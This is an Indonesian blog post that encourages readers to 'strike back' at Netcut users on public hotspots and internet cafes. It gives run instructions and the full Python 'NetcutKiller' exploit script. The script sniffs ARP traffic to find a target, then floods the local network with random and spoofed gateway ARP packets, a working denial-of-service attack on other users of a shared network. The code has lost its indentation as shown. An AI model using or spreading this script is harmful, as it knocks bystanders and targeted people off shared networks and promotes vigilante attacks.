Snippet

Serang Balik Pengguna Netcut

Koneksi putus bukan menjadi sebuah dilema lagi, melainkan bisa dikarenakan beberapa sebab. Terutama di hotspot gratisan atau di warnet-warnet, kalau koneksi kita lemot dan tidak bisa akses internet dengan tidak normal, mungkin salah satunya karena ada pengguna warnet lainnya yang menggunakan NETCUT

Agar tidak bete karena loading lama, serang balik saja pengguna NETCUT tersebut.
Attack Netcut
Langkahnya adalah:
  1. Harus sudah terdapat python compiler di komputer
  2. Download toolsnya disini: http://1337day.com/exploits/17338
  3. Jalankan tools tersebut dengan compile: python filenameexploit.py [ethernet] [macaddress], contoh: python netcutkiller.py eth0 A1:B2:C3:D4:E5:F6
Code exploitnya adalah sebagai berikut:
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/usr/bin/env python
#Exploit Title: Netcut Denial of Service Vulnerability
#Author: MaYaSeVeN
#Greetz: Inj3ct0r 1337day Exploit DataBase (1337day.com)
#Blog: http://mayaseven.blogspot.com
#PoC: Video http://www.youtube.com/user/mayaseven
#Picture http://3.bp.blogspot.com/-GcwpOXx7ers/TwGVoyj8SmI/AAAAAAAAAxs/wSGL1tKGflc/s1600/a.png
#Version: Netcut 2
#Software Link: http://www.mediafire.com/?jiiyq2wcpp41266
#Tested on: Windows Xp, Windows 7
#Greetz : ZeQ3uL, c1ph3r, x-c0d3, p3lo, Retool2, Gen0TypE, Windows98SE, Sumedt, Rocky Sharma
from scapy.all import sniff,Ether,ARP,RandIP,RandMAC,Padding,sendp,conf
import commands,os,sys
#gw_mac = commands.getoutput("arp -i %s | grep %s" % (conf.iface,conf.iface)).split()[2]
gw_ip = commands.getoutput("ip route list | grep default").split()[2]
def protect(gw_ip,gw_mac):
os.popen("arp -s %s %s" %(gw_ip,gw_mac))
print "Protected himself"
def detect():
ans = sniff(filter='arp',timeout=7)
target=[]
for r in ans.res:
target.append(r.sprintf("%ARP.pdst% %ARP.hwsrc% %ARP.psrc%"))
return target
def preattack(gw_ip):
num = []
count = 0
target = 0
temp = 0
print "Detecting..."
d = detect()
for i in range(len(d)):
if d[i].split()[0] == "255.255.255.255":
num.append(d.count(d[i]))
if d.count(d[i]) > count:
count = d.count(d[i])
target = i
if d[i].split()[0] == gw_ip:
temp += 1
if len(d) < 7:
print "[-] No one use Netcut or try again"
exit()
if len(num)*7 < temp:
num[:] = []
count = 0
result = float(temp)/len(d)*100
for j in range(len(d)):
if d[i].split()[0] == gw_ip:
num.append(d.count(d[j]))
if d.count(d[i]) > count:
count = d.count(d[i])
target = i
num.reverse()
result = float(temp)/len(d)*100
print target
else:
num.reverse()
result = float(num[0]+temp)/len(d)*100
 
print "There is a possibility that " + str(result) + "%"
if result>= 50:
target_mac = d[target].split()[1]
target_ip = d[target].split()[2]
print "[+]Detected, Netcut using by IP %s MAC %s" %(target_ip,target_mac)
attack(target_mac,target_ip,gw_ip)
else:
print "[-] No one use Netcut or try again"
def attack(target_mac,target_ip,gw_ip):
print "[+]Counter Attack !!!"
e = Ether(dst="FF:FF:FF:FF:FF:FF")
while 1:
a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)
p = e/a/Padding("\x00"*18)
sendp(p,verbose=0)
a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)
p1 = e/a1/Padding("\x00"*18)
sendp(p1,verbose=0)
if __name__ == '__main__':
os.system("clear")
print "###################################################"
print " __ __ __ __ _____ __ __ _ _"
print "| \/ | \ \ / / / ____| \ \ / / | \ | |"
print "| \ / | __ \ \_/ /_ _| (___ __\ \ / /__| \| |"
print "| |\/| |/ _\ \ / _\ |\___ \ / _ \ \/ / _ \ . \ |"
print "| | | | (_| || | (_| |____) | __/\ / __/ |\ |"
print "|_| |_|\__,_||_|\__,_|_____/ \___| \/ \___|_| \_|"
print " "
print "###################################################"
print ""
print "http://mayaseven.blogspot.com"
print ""
if len(sys.argv) == 2 or len(sys.argv) == 3:
if len(sys.argv) == 2:
conf.iface=sys.argv[1]
preattack(gw_ip)
if len(sys.argv) == 3:
conf.iface=sys.argv[1]
gw_mac = sys.argv[2]
protect(gw_ip,gw_mac)
preattack(gw_ip)
else:
print '''Mode:
1.)Attack only
Usage: NetcutKiller
e.g. NetcutKiller.py wlan0
2.)Attack with protect himself
Usage: NetcutKiller
e.g. NetcutKiller.py wlan0 00:FA:77:AA:BC:AF
'''
# 1337day.com [2012-01-04]
Untuk lebih detailnya, simak video berikut: